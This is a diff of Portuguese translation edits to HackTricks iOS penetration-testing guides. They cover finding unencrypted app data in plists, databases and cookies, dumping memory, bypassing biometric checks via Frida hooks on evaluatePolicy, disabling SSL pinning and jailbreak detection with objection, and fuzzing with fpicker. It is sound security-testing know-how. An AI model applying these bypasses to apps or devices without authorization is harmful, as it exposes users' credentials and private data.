- As informações são salvas, não criptografadas, dentro do sandbox da aplicação em um arquivo plist chamado \[BUNDLE_ID].plist.
- Todos os pares chave/valor armazenados usando `NSUserDefaults` podem ser encontrados neste arquivo.
- **tmp/**
- Use este diretório para escrever **arquivos temporários** que não precisam persistir entre lançamentos do app.
@ -366,12 +367,12 @@ ios-basics.md
{{#endref}}
> [!WARNING]
> Os seguintes locais para armazenar informações devem ser verificados **logo após a instalação do aplicativo**, **após verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em um diferente**.\
> Os seguintes locais para armazenar informações devem ser verificados **logo após a instalação do aplicativo**, **depois de verificar todas as funcionalidades** do aplicativo e até mesmo após **sair de um usuário e entrar em um diferente**.\
> O objetivo é encontrar **informações sensíveis não protegidas** do aplicativo (senhas, tokens), do usuário atual e de usuários que já fizeram login anteriormente.
### Plist
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma forma de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendado verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
Os arquivos **plist** são arquivos XML estruturados que **contêm pares chave-valor**. É uma maneira de armazenar dados persistentes, então às vezes você pode encontrar **informações sensíveis nesses arquivos**. É recomendável verificar esses arquivos após a instalação do aplicativo e após usá-lo intensivamente para ver se novos dados são escritos.
A maneira mais comum de persistir dados em arquivos plist é através do uso de **NSUserDefaults**. Este arquivo plist é salvo dentro do sandbox do aplicativo em **`Library/Preferences/<appBundleID>.plist`**
@ -385,7 +386,7 @@ Para encontrar todos os plist usados pelo aplicativo, você pode acessar `/priva
```bash
find ./ -name "*.plist"
```
Para converter arquivos de **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
Para converter arquivos do formato **XML ou binário (bplist)** para XML, vários métodos dependendo do seu sistema operacional estão disponíveis:
**Para usuários do macOS:** Utilize o comando `plutil`. É uma ferramenta embutida no macOS (10.2+), projetada para esse propósito:
```bash
@ -438,7 +439,7 @@ Como os bancos de dados Yap são bancos de dados sqlite, você pode encontrá-lo
### Outros Bancos de Dados SQLite
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixá-los não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório dos aplicativos. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
É comum que aplicativos criem seu próprio banco de dados sqlite. Eles podem estar **armazenando** **dados** **sensíveis** neles e deixando-os não criptografados. Portanto, é sempre interessante verificar cada banco de dados dentro do diretório do aplicativo. Portanto, vá para o diretório do aplicativo onde os dados são salvos (`/private/var/mobile/Containers/Data/Application/{APPID}`)
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -448,6 +449,7 @@ Os desenvolvedores podem **armazenar e sincronizar dados** dentro de um **banco
Você pode encontrar como verificar bancos de dados Firebase mal configurados aqui:
{{#ref}}
../../network-services-pentesting/pentesting-web/buckets/firebase-database.md
{{#endref}}
@ -465,7 +467,7 @@ $ find ./ -name "*.realm*"
```
Para visualizar esses arquivos de banco de dados, a ferramenta [**Realm Studio**](https://github.com/realm/realm-studio) é recomendada.
Para implementar a criptografia dentro de um banco de dados Realm, o seguinte trecho de código pode ser usado:
Para implementar criptografia dentro de um banco de dados Realm, o seguinte trecho de código pode ser usado:
```swift
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
let config = Realm.Configuration(encryptionKey: getKey())
@ -477,7 +479,7 @@ let realm = try Realm(configuration: config)
fatalError("Error opening realm: \(error)")
}
```
### Couchbase Lite Databases
### Bancos de Dados Couchbase Lite
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) é descrito como um mecanismo de banco de dados **leve** e **embutido** que segue a abordagem **orientada a documentos** (NoSQL). Projetado para ser nativo do **iOS** e **macOS**, oferece a capacidade de sincronizar dados de forma contínua.
@ -489,7 +491,7 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
iOS armazena os cookies dos aplicativos em **`Library/Cookies/cookies.binarycookies`** dentro da pasta de cada aplicativo. No entanto, os desenvolvedores às vezes decidem salvá-los no **keychain**, pois o mencionado **arquivo de cookie pode ser acessado em backups**.
Para inspecionar o arquivo de cookies, você pode usar [**este script em python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
Para inspecionar o arquivo de cookies, você pode usar [**este script python**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ou usar o **`ios cookies get`** do objection.\
**Você também pode usar o objection para** converter esses arquivos para um formato JSON e inspecionar os dados.
```bash
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
@ -621,14 +623,14 @@ Os aplicativos registram várias informações que podem ser sensíveis. Para mo
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```
são úteis. Além disso, **Xcode** fornece uma maneira de coletar logs do console:
são úteis. Além disso, **Xcode** oferece uma maneira de coletar logs do console:
1. Abra o Xcode.
2. Conecte o dispositivo iOS.
3. Navegue até **Window** -> **Devices and Simulators**.
4. Selecione seu dispositivo.
5. Acione o problema que você está investigando.
6. Use o botão **Open Console** para ver os logs em uma nova janela.
6. Use o botão **Open Console** para visualizar os logs em uma nova janela.
Para um registro mais avançado, conectar-se ao shell do dispositivo e usar **socat** pode fornecer monitoramento de logs em tempo real:
```bash
@ -650,7 +652,7 @@ Arquivos em `Documents/` e `Library/Application Support/` são incluídos nos ba
### Testando Vulnerabilidades
Para avaliar a segurança do backup de um aplicativo, comece **criando um backup** usando o Finder, depois localize-o usando as orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados sensíveis ou configurações que possam ser alteradas para afetar o comportamento do aplicativo.
Para avaliar a segurança do backup de um aplicativo, comece **criando um backup** usando o Finder, depois localize-o usando as orientações da [documentação oficial da Apple](https://support.apple.com/en-us/HT204215). Analise o backup em busca de dados ou configurações sensíveis que possam ser alterados para afetar o comportamento do aplicativo.
Informações sensíveis podem ser buscadas usando ferramentas de linha de comando ou aplicativos como [iMazing](https://imazing.com). Para backups criptografados, a presença de criptografia pode ser confirmada verificando a chave "IsEncrypted" no arquivo "Manifest.plist" na raiz do backup.
```xml
@ -677,7 +679,7 @@ Ao lidar com informações sensíveis armazenadas na memória de um aplicativo,
## **Recuperando e Analisando um Dump de Memória**
Para dispositivos com e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
Para dispositivos com jailbreak e sem jailbreak, ferramentas como [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump) permitem o dump da memória do processo de um app. Uma vez feito o dump, a análise desses dados requer várias ferramentas, dependendo da natureza das informações que você está procurando.
Para extrair strings de um dump de memória, comandos como `strings` ou `rabin2 -zz` podem ser usados:
```bash
@ -704,7 +706,7 @@ $ r2 frida://usb//<name_of_your_app>
### Processos de Gerenciamento de Chaves Ruins
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma reversão pode permitir que atacantes extraiam as informações confidenciais.
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois alguma engenharia reversa pode permitir que atacantes extraiam as informações confidenciais.
### Uso de Algoritmos Inseguros e/ou Obsoletos
@ -712,7 +714,7 @@ Os desenvolvedores não devem usar **algoritmos obsoletos** para realizar **veri
### Verificação
As principais verificações a serem realizadas são para descobrir se você pode encontrar senhas/secrets **codificados** no código, ou se são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
As principais verificações a serem realizadas são para descobrir se você pode encontrar **senhas**/segredos **codificados** no código, ou se são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
É interessante saber que você pode **monitorar** algumas **bibliotecas** **crypto** automaticamente usando **objection** com:
```swift
@ -722,7 +724,7 @@ Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, ace
## Autenticação Local
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso a um ponto final remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
A **autenticação local** desempenha um papel crucial, especialmente quando se trata de proteger o acesso em um ponto remoto por meio de métodos criptográficos. A essência aqui é que, sem uma implementação adequada, os mecanismos de autenticação local podem ser contornados.
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) da Apple e o [**keychain**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) fornecem APIs robustas para os desenvolvedores facilitarem diálogos de autenticação do usuário e lidarem com dados secretos de forma segura, respectivamente. O Secure Enclave protege a ID de impressão digital para o Touch ID, enquanto o Face ID depende do reconhecimento facial sem comprometer os dados biométricos.
@ -891,7 +893,7 @@ Se `Security.framework` for utilizado, apenas o segundo será exibido.
#### **Objection**
Através do **Objection Biometrics Bypass**, localizado [nesta página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve aproveitar o **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
Através do **Objection Biometrics Bypass**, localizado na [página do GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), uma técnica está disponível para superar o mecanismo **LocalAuthentication**. O cerne dessa abordagem envolve o uso do **Frida** para manipular a função `evaluatePolicy`, garantindo que ela sempre retorne um resultado `True`, independentemente do sucesso real da autenticação. Isso é particularmente útil para contornar processos de autenticação biométrica defeituosos.
Para ativar esse bypass, o seguinte comando é empregado:
```bash
@ -1042,7 +1044,7 @@ Você também pode usar **objection's** `ios sslpinning disable`
Os desenvolvedores podem **corrigir todas as instalações de seu aplicativo instantaneamente** sem precisar reenviar o aplicativo para a App Store e esperar até que seja aprovado.\
Para esse propósito, geralmente é usado [**JSPatch**](https://github.com/bang590/JSPatch)**.** Mas há outras opções também, como [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Esse é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendável verificar qual método está sendo usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
**Este é um mecanismo perigoso que pode ser abusado por SDKs de terceiros maliciosos, portanto, é recomendável verificar qual método está sendo usado para atualização automática (se houver) e testá-lo.** Você pode tentar baixar uma versão anterior do aplicativo para esse propósito.
### Terceiros
@ -1058,6 +1060,7 @@ otool -L <application_path>
```
## Vulnerabilidades Interessantes & Estudos de Caso
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
@ -1080,7 +1083,7 @@ air-keyboard-remote-input-injection.md
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064)
- [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc)
- [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054)
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) curso gratuito de IOS([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/))
- [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577)
- [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse)
- [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA)
@ -1090,4 +1093,5 @@ air-keyboard-remote-input-injection.md
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
{{#include ../../banners/hacktricks-training.md}}

8
src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md
View File

@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Instalando o Frida
**Passos para instalar o Frida em um dispositivo Jailbroken:**
@ -202,7 +203,7 @@ make fpicker-[yourOS] # fpicker-macos
# Install radamsa (fuzzer generator)
brew install radamsa
```
- **Preparar o FS:**
- **Prepare o FS:**
```bash
# From inside fpicker clone
mkdir -p examples/wg-log # Where the fuzzing script will be
@ -212,7 +213,7 @@ mkdir -p examples/wg-log/in # For starting inputs
# Create at least 1 input for the fuzzer
echo Hello World > examples/wg-log/in/0
```
- **Script de Fuzzer** (`examples/wg-log/myfuzzer.js`):
- **Fuzzer script** (`examples/wg-log/myfuzzer.js`):
```javascript:examples/wg-log/myfuzzer.js
// Import the fuzzer base class
import { Fuzzer } from "../../harness/fuzzer.js"
@ -289,7 +290,7 @@ fpicker -v --fuzzer-mode active -e attach -p <Program to fuzz> -D usb -o example
# You can find code coverage and crashes in examples/wg-log/out/
```
> [!CAUTION]
> Neste caso, **não estamos reiniciando o aplicativo ou restaurando o estado** após cada payload. Portanto, se o Frida encontrar um **crash**, as **próximas entradas** após esse payload também podem **crashar o aplicativo** (porque o aplicativo está em um estado instável), mesmo que a **entrada não devesse crashar** o aplicativo.
> Neste caso, **não estamos reiniciando o aplicativo ou restaurando o estado** após cada payload. Portanto, se o Frida encontrar um **crash**, as **próximas entradas** após esse payload também podem **crashar o aplicativo** (porque o aplicativo está em um estado instável), mesmo que a **entrada não deva crashar** o aplicativo.
>
> Além disso, o Frida irá interceptar sinais de exceção do iOS, então quando **o Frida encontrar um crash**, provavelmente **relatórios de crash do iOS não serão gerados**.
>
@ -329,6 +330,7 @@ Você pode verificar os crashes em:
## Frida Android Tutorials
{{#ref}}
../android-app-pentesting/frida-tutorial/
{{#endref}}

16
src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
View File

@ -15,7 +15,7 @@ Os perfis de provisionamento são armazenados dentro do telefone em **`/Library/
## **Simulator**
> [!NOTE]
> [!TIP]
> Note que um **simulador não é o mesmo que um emulador**. O simulador apenas simula o comportamento e as funções do dispositivo, mas não os utiliza realmente.
### **Simulator**
@ -56,15 +56,16 @@ Corellium é o único emulador iOS disponível publicamente. É uma solução Sa
Confira este post no blog sobre como fazer pentesting em um aplicativo iOS em um **dispositivo não jailbreak**:
{{#ref}}
ios-pentesting-without-jailbreak.md
{{#endref}}
## Jailbreaking
A Apple exige estritamente que o código executado no iPhone deve ser **assinado por um certificado emitido pela Apple**. **Jailbreaking** é o processo de **contornar ativamente tais restrições** e outros controles de segurança impostos pelo sistema operacional. Portanto, uma vez que o dispositivo é jailbreak, a **verificação de integridade** responsável por verificar os aplicativos instalados é corrigida, de modo que é **contornada**.
A Apple exige estritamente que o código executado no iPhone deve ser **assinado por um certificado emitido pela Apple**. **Jailbreaking** é o processo de **contornar ativamente tais restrições** e outros controles de segurança impostos pelo sistema operacional. Portanto, uma vez que o dispositivo é jailbreak, a **verificação de integridade** que é responsável por verificar os aplicativos instalados é corrigida, então é **contornada**.
> [!NOTE]
> [!TIP]
> Ao contrário do Android, **você não pode mudar para "Modo Desenvolvedor"** no iOS para executar código não assinado/não confiável no dispositivo.
### Rooting Android vs. Jailbreaking iOS
@ -88,13 +89,13 @@ As atualizações do iOS são controladas por um **mecanismo de desafio-resposta
### Ferramentas e Recursos de Jailbreaking
As ferramentas de jailbreaking variam de acordo com a versão do iOS e o dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:
As ferramentas de jailbreaking variam por versão do iOS e dispositivo. Recursos como [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) fornecem informações atualizadas. Exemplos incluem:
- [Checkra1n](https://checkra.in/) para dispositivos com chip A7-A11.
- [Palera1n](https://palera.in/) para dispositivos Checkm8 (A8-A11) no iOS 15.0-16.5.
- [Unc0ver](https://unc0ver.dev/) para versões do iOS até 14.8.
Modificar seu dispositivo traz riscos, e o jailbreaking deve ser abordado com cautela.
Modificar seu dispositivo envolve riscos, e o jailbreaking deve ser abordado com cautela.
### Benefícios e Riscos do Jailbreaking
@ -102,6 +103,7 @@ O jailbreaking **remove o sandboxing imposto pelo OS**, permitindo que os aplica
### **Após o Jailbreaking**
{{#ref}}
basic-ios-testing-operations.md
{{#endref}}
@ -118,11 +120,11 @@ basic-ios-testing-operations.md
**Mais informações sobre como detectar jailbreak** [**aqui**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak disable`
Você pode tentar evitar essas detecções usando **o `ios jailbreak disable` do objection**
## **Bypass de Detecção de Jailbreak**
- Você pode tentar evitar essas detecções usando **objection's** `ios jailbreak disable`
- Você pode tentar evitar essas detecções usando **o `ios jailbreak disable` do objection**
- Você também pode instalar a ferramenta **Liberty Lite** (https://ryleyangus.com/repo/). Uma vez que o repositório é adicionado, o aplicativo deve aparecer na aba ‘Search’
## Referências

Some files were not shown because too many files have changed in this diff Show More